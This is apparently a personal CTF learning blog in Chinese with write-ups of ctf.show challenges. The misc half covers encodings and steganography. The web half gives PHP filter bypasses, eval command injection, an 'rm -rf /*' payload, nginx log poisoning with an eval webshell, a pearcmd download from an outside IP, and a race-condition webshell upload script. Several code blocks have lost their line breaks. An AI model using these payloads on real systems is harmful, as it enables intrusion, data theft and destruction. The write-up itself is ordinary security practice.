记录一下前半部分是能自己写出来的,后半部分是需要提示的,感觉自己归来两年仍是萌新
misc部分
知识点
base家族密文特征
- Base16 (Hex)
- 字符集:
0-9, A-F
(不区分大小写)。 - 特征:
-
- 长度是 2 的倍数(每字节对应 2 个字符)。
- 无填充字符。
- 示例:
48656C6C6F
("Hello")。
- Base32
- 标准字符集:
A-Z, 2-7
(RFC 4648)。 - 特征:
-
- 长度通常是 8 的倍数(填充符
=
补全)。 - 忽略大小写(部分变种如 Crockford's Base32 允许小写)。
- 示例:
JBSWY3DP
("Hello")或JBSWY3DPEBLW64TMMQ======
(带填充)。
- 长度通常是 8 的倍数(填充符
变种:
- Base32Hex:使用
0-9, A-V
(无填充)。 - Crockford's Base32:允许小写,去除
I,L,O,U
避免混淆。
- Base64
- 标准字符集:
A-Z, a-z, 0-9, +, /
(填充符=
)。 - 特征:
-
- 长度是 4 的倍数(不足时用
=
填充)。 - 常见于加密数据、图片编码(如
data:image/png;base64,...
)。 - 示例:
SGVsbG8=
("Hello")。
- 长度是 4 的倍数(不足时用
变种:
- URL-safe Base64:替换
+/
为-_
,省略填充。 - MIME Base64:允许换行符。
- Base85 (Ascii85)
- 字符集:
!-u
(ASCII 33-117)。 - 特征:
-
- 长度可变,通常以
~>
结尾(Adobe 变种)。 - 无固定填充,可能包含空格或换行。
- 示例:
<~87cURDZ~>
("Hello")。
- 长度可变,通常以
变种:
- Z85:用于 ZeroMQ,字符集为
0-9, a-z, A-Z, ., -, :, +, =, ^, !, /, *, ?, &, <, >, (, ), [, ], {, }, @, %, $, #
。
- Base58
- 字符集:去除了易混淆字符(如
0, O, I, l, +, /
)。 - 特征:
-
- 无填充,长度可变。
- 用于比特币地址(
1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa
)。 - 示例:
JxF12TrwUP45BMd
。
- Base91
- 字符集:
A-Z, a-z, 0-9, !, #, $, %, &, (, ), *, +, ,, ., /, :, ;, <, =, >, ?, @, [, ], ^, _,
, {, |, }, ~`。 - 特征:
-
- 高编码效率(比 Base64 更紧凑)。
- 示例:
fPNKd
("Hello")。
- Base62
- 字符集:
0-9, A-Z, a-z
(无符号)。 - 特征:
-
- 用于短链接生成(如
aBcD12
)。 - 无填充,长度可变。
- 用于短链接生成(如
通用识别技巧
- 观察字符集:根据字符范围初步判断类型。
- 检查填充符:
=
常见于 Base64/Base32。 - 长度规律:Base64 长度是 4 的倍数,Base32 是 8 的倍数。
- 特殊标记:Base85 可能以
<~ ~>
包裹,Base58 用于加密货币地址。
HTML实体编码特点
- 格式:
&实体名;
或&#实体编号;
(十进制/十六进制)。
字符 | 实体名 | 十进制 | 十六进制 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
空格 |
|
|
|
|
|
|
|
jphs使用指南(文件加解密)
- 使用对象:JPEG文件
- 介绍:对有损压缩JPEG文件进行信息的加密隐藏,探测提取的工具
- 功能:
-
- JPHIDE:将信息文件加密隐藏到JPEG图像
(点击hide,输入两次相同密码,再选择要隐藏的文件)
-
- JPSEEK:从用JPHIDE程序加密隐藏得到的JPEG图像中探测并提取到信息文件
(同理,输入密码,提取信息文件)
解题
太简单的就不写了
萌新_密码1
这里用随波逐流解密工具先base混合解码,再栅栏解码就行了
base混合解码得到:KYdf0a3ebd5c4dc160-E{fb63ee0298b8f4d8}
栅栏解码得到:KEY{dffb06a33eeeb0d259c84bd8cf146d08-}
萌新 密码3
这种一看就是摩斯加密了
摩斯解密得到:MORSE_IS_COOL_BUT_BACON_IS_COOLER_MMDDMDMDMMMDDD MDMDDM MMMMM MDDMDM MDDM
这里给出提示要培根解密得到:guowang
记得记得记得大写
萌新 隐写2
这是一道zip的加密题
本来记得自己写过这种题目的笔记的,突然发现自已应该是不小心把存着这个的数据库删了,我咔吧一下哭出来
废话不多说,先判断一下是不是伪加密
两个红框里的分别是数据区和目录区的全局方式位标记,第一个判断是否加密,第二个判断是否伪加密,都由四个数字中的第二个数字决定(奇数表示加密,偶数表示未加密)
这里应该是真加密了的,所以看看有没有其他信息猜测密码,不然就尝试爆破
这里密码我用ARCHPR这个工具爆破出来了,输入密码解压得到flag{brute_force}
杂项7
图片宽高改写
- 直接把高度稍微改大一点
- 爆破
# 使用python3爆破png图片的宽高数据
import os
import binascii
import structfor i in range(30000): # 一般 20000就够wide = struct.pack('>i', i)for j in range(30000):high = struct.pack('>i', j)data = b'\x49\x48\x44\x52' + wide + high + b'\x08\x06\x00\x00\x00'# 因为是 Py3,byte和str型不能直接进行运算,要写把 str写 b'...'。不然把 wide和 high写成 str(...)crc32 = binascii.crc32(data) & 0xffffffffif crc32 == 0x889C2F07: # 0x889C2F07是这个 png文件头的 CRC校验码,在 21~25byte处print('\n\n', i, j, crc32) # 0x 后的数字为十六进制中crc位置的代码(winhex左016,13-下一行的0)print(type(data))exit(0)print(i, end=' ')print(hex(1080),",",hex(958))
得到
转换成16进制,填入hex
隐写1
点击下载链接发现不能自动下载,这里的点在于ctr+s自动下载,然后查看hex头发现被更改了,改回来就行了
萌新隐写5
䴀娀圀䜀䌀娀娀䤀一䈀儀圀㘀堀㌀䬀一䘀㈀嘀㘀夀吀嘀䰀㔀㐀圀㘀㌀吀䠀䰀㔀刀䐀䜀䴀匀㜀䘀䔀㴀㴀㴀㴀㴀㴀
给了一串神秘字符,其实最后的重复字符就很像base的=填充字符了
import base64
import binascii
text = "䴀娀圀䜀䌀娀娀䤀一䈀儀圀㘀堀㌀䬀一䘀㈀嘀㘀夀吀嘀䰀㔀㐀圀㘀㌀吀䠀䰀㔀刀䐀䜀䴀匀㜀䘀䔀㴀㴀㴀㴀㴀㴀"
# 尝试转换为原始字节
bytes_data = text.encode('utf-16-be') # 或 utf-32-be
base64_str = base64.b64encode(bytes_data).decode('ascii')
print(base64_str)
得到
TQBaAFcARwBDAFoAWgBJAE4AQgBRAFcANgBYADMASwBOAEYAMgBWADYAWQBUAFYATAA1ADQAVwA2ADMAVABIAEwANQBSAEQARwBNAFMANwBGAEUAPQA9AD0APQA9AD0A
再两次base64解码得到flag
这道题我借助ai倒是解得很顺畅
萌新隐写6
音频隐写,用audacity看发现摩斯密码解码就行了
看wp
萌新 密码#4
这里给出了一串密文QW8obWdIWF5FKUFSQW5URihKXWZAJmx0OzYiLg==
又提示比base64大的base
然后发现解密出来的都是一串乱码,然后我就有点没招了
看wp之后发现base64解密出来的Ao(mgHX^E)ARAnTF(J]f@<6".,竟然是有用的,不是乱码
包含 HTML 实体编码(<
代表 <
)。
把html解码得到Ao(mgHX^E)ARAnTF(J]f@<6",然后再base85解码,得到flag{base_base_base}
总结就是还是要熟悉各个密文的特征。这个html编码确实挺少见的
杂项10
就给了这个,我猜到要眯眼看了,但是我没看出来,太抽象了,一点都没想到是中文,答案是我好喜欢你
杂项11
尝试了很多发现都不对,发现他给了一个jphs的工具
用jphs打开图片之后,选择seek选项并什么都不填,会生成一个二维码,对二维码解码就行了
jphs使用指南附上
萌新_密码2
rdcvbg 2qase3 6tghu7
看键盘上这些字母圈起来的位置,这种题之前好像见过,但这次又没想到
web部分
知识点
php绕过
部分对php的版本有要求,具体情况具体分析
"1000 || 1=1" //
~~1000//两次取反
0b1111101000//二进制
0x3e8//十六进制
这里主要是绕preg_match()和intval()
MD5 比较绕过
- 0e 开头哈希:0e215962017 == 0
- 数组绕过:md5(array()) == null
strcmp 绕过
- 数组绕过:strcmp($pass, array()) == null
is_numeric 绕过
- 十六进制:0xdeadbeef
- 科学计数法:1e10
PHP执行系统外命令函数
exec()
function exec(string $command,array[optional] $output,int[optional] $return_value)
exec 执行系统外部命令时不会输出结果,而是返回结果的最后一行,如果你想得到结果你可以使用第二个参数,让其输出到指定的数组,此数组一个记录代表输出的一行,即如果输出结果有20行,则这个数组就有20条记录,所以如果你需要反复输出调用不同系统外部命令的结果,你最好在输出每一条系统外部命令结果时清空这个数组,以防混乱。第三个参数用来取得命令执行的状态码,通常执行成功都是返回0.
passthru()
function passthru(string $command,int[optional] $return_value)
passthru与system的区别,passthru直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,不返回任何值,且其可以输出二进制,比如图像数据
system()
function system(string $command,int[optional] $return_value)
system和exec的区别在于system在执行系统外部命令时,直接将结果输出到浏览器,不需要使用 echo 或 return 来查看结果,如果执行命令成功则返回true,否则返回false。第二个参数与exec第三个参数含义一样。
shell_exec()
shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体
<?phpecho `pwd`;
?>
php文件执行绕过
?c=passthru('tac c*')?>
?c=echo $flag?>
?c=echo $_POST[a]; a= cat config.php
web1-7
都是同类型题目,一步步进阶
按照要求根据上面的知识点说明的方法进行绕过就行
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){$id = $_GET['id'];if(preg_match("/\'|\"|or|\||\-|\\\|\/|\\*|\<|\>|\^|\!|\~|x|hex|\(|\)|\+|select/i",$id)){die("id error");}# 判断id的值是否大于999if(intval($id) > 999){# id 大于 999 直接退出并返回错误die("id error");}else{# id 小于 999 拼接sql语句$sql = "select * from article where id = $id order by id limit 1 ";echo "执行的sql为:$sql<br>";# 执行sql 语句$result = $conn->query($sql);# 判断有没有查询结果if ($result->num_rows > 0) {# 如果有结果,获取结果对象的值$rowwhile($row = $result->fetch_assoc()) {echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";}}# 关闭数据库连接$conn->close();}}else{highlight_file(__FILE__);
}?>
web9
<?php
# flag in config.php
include("config.php");
if(isset($_GET['c'])){$c = $_GET['c'];if(preg_match("/system|exec|highlight/i",$c)){eval($c);}else{die("cmd error");}
}else{highlight_file(__FILE__);
}
?>
ls查看目录结构,再cat或者
?c=system("tac config.php ");
?c=system("cat config.php ");,再打开控制台
?c=highlight_file('config.php');
看wp
web8
<?php
# 包含数据库连接文件,key flag 也在里面定义
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['flag'])){if(isset($_GET['flag'])){$f = $_GET['flag'];if($key===$f){echo $flag;}}
}else{highlight_file(__FILE__);
}?>
?flag=rm -rf /*
直接删库啊
web17
发现中间件为nginx/1.20.1,他的日志目录为 /var/log/nginx/access.log
传参?c=/var/log/nginx/access.log,并写入一句话木马<?php @eval($_POST['cmd']); ?>
用蚁剑访问url+?c=/var/log/nginx/access.log,同时记得把https的s去掉,访问目录找到flag。
web22
远程文件下载
?c=pearcmd&+download+http://47.111.94.227/1.php
<?php echo "<?php system('ls');?>";?>
<?php echo "<?php system('tac 36d.php');?>";?>
获得百分之百的快乐
<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<4){echo shell_exec($_GET[1]);
}
else{echo "hack!!!";
}
?>
输入限制得很短,
payload
?1=ls //查看目录,发现文件名很长
?1=>nl //创建一个名为 nl 的文件, >file 表示创建一个空文件
?1=* //* 是通配符,以当前路径下第一个文件名作为命令执行,这里会输出第一个文件内容
原理
直接 ?1=* 可能无效:因为普通文件无法被 Shell 直接执行。利用nl读取文件内容
web23
文件上传条件竞争,脚本爆破
$new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;
if (move_uploaded_file($temp_name, 'uploads/'.$new_filename)){echo "uploads/$new_filename";sleep(1);system("rm -rf ./uploads/*.php");
}
import requests, time, threadingsubaddr = "http://b173724d-6ebb-45dc-b62e-57351e9766fa.challenge.ctf.show/"def newThread(fun, *args):return threading.Thread(target=fun, args=args)def execphp(fname):r = requests.get(subaddr + "uploads/" + fname + ".php")x = r.textif len(x) > 0 and "404 Not Found" not in x and "容器已过期" not in x:print(x)def check(fname):for i in range(100, 400):# 每个文件名单起一个线程newThread(execphp, fname + str(i)).start()def upload():while True:file_data = {'file': ('anything.php', "<?php system(\"ls -l ../\");?>".encode())}r = requests.post(subaddr + "upload.php", files=file_data)txt = r.textprint("uploaded:", txt)# uploaded: uploads/20230206234351533.php# 用本次的文件名推算下一次的文件名,相差sleep一次的时间间隔fname = str(int(txt[8:22]) + 1)# 单起一个线程,爆破下一次upload的文件名 uploaded: uploads/20220818222707124.phpnewThread(check, fname).start()if __name__ == '__main__':upload()
- 上传Webshell:向目标服务器的upload.php接口上传一个包含PHP代码的文件。
- 爆破文件名:由于上传后的文件名可能基于时间戳生成,脚本通过时间推算和并发请求来猜测文件名。
- 执行命令:访问上传成功的Webshell,执行系统命令并输出结果。
发现/flaghere0.txt文件,访问得到flag